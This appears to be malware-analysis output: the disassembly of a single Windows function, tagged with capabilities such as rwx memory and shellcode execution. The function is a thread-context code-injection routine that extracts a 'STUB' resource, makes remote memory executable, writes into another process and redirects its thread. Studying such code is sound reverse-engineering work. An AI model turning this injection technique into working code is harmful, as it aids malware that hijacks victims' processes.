Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x2f4
cmp dword [0x403004], 0
push ebx
push ebp
push esi
push edi
jne 0x40104c
push str.STUB
push 0x100
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov dword [section..data], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [0x403004], eax
mov eax, dword [esp + 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test ebp, ebp
mov ebx, eax
je 0x40113b
test ebx, ebx
je 0x40113b
mov ecx, 0x2cc
lea eax, [esp + 0x38]
mov byte [eax], 0
add eax, 1
sub ecx, 1
jne 0x401082
mov edx, dword [esp + 0x30c]
lea ecx, [esp + 0x38]
push ecx
push edx
mov dword [esp + 0x40], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ecx, dword [esp + 0xfc]
mov esi, dword [esp + 0x308]
push 0x1c
lea eax, [esp + 0x20]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [esp + 0x30], 0x40
je 0x4010e4
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push edx
push 0x40
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edi, dword [section..data]
mov edx, edi
and edx, 3
sub edi, edx
add edi, 4
lea eax, [edi + 0x23c]
push eax
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x4020e0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
call ebx
push 0x4021f0
push ebp
mov dword [esi], eax
call ebx
test eax, eax
jne 0x401148
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2f4
ret
sub eax, ebp
mov dword [esi + 4], eax
mov eax, dword [esp + 0xfc]
sub eax, edi
sub eax, 0x20c
mov dword [esi + 8], eax
mov ecx, dword [esp + 0xfc]
sub ecx, edi
sub ecx, 0x108
mov dword [esi + 0xc], ecx
mov edx, dword [esp + 0xe8]
mov dword [esi + 0x10], edx
mov eax, dword [esp + 0xd8]
mov dword [esi + 0x14], eax
mov ecx, dword [esp + 0xe0]
mov dword [esi + 0x18], ecx
mov edx, dword [esp + 0xe4]
mov dword [esi + 0x1c], edx
mov eax, dword [esp + 0xd4]
mov dword [esi + 0x20], eax
mov ecx, dword [esp + 0xdc]
mov dword [esi + 0x24], ecx
mov edx, dword [esp + 0xec]
mov ecx, dword [esp + 0x310]
push 0x104
mov dword [esi + 0x28], edx
mov eax, dword [esp + 0x100]
push ecx
add eax, 0xfffffffc
lea ebx, [esi + 0x30]
push ebx
mov dword [esi + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [esp + 0x314]
push 0x104
push edx
lea eax, [ebx + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebx + 0x208]
call fcn.004013a0
mov ecx, dword [section..data]
mov edx, ecx
and edx, 3
mov eax, 4
sub eax, edx
lea ecx, [ecx + esi + 0x238]
je 0x40122b
lea ebx, [ebx]
mov byte [ecx], 0
add ecx, 1
sub eax, 1
jne 0x401220
mov eax, dword [esp + 0xf0]
mov dword [ebx + edi + 0x208], eax
mov eax, dword [esp + 0xfc]
mov ecx, 0xfffffdc4
sub ecx, edi
add eax, ecx
mov dword [esp + 0xfc], eax
add eax, 0x238
lea edx, [esp + 0x38]
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0x30c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xfc]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x30c]
push edx
push esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2f4
ret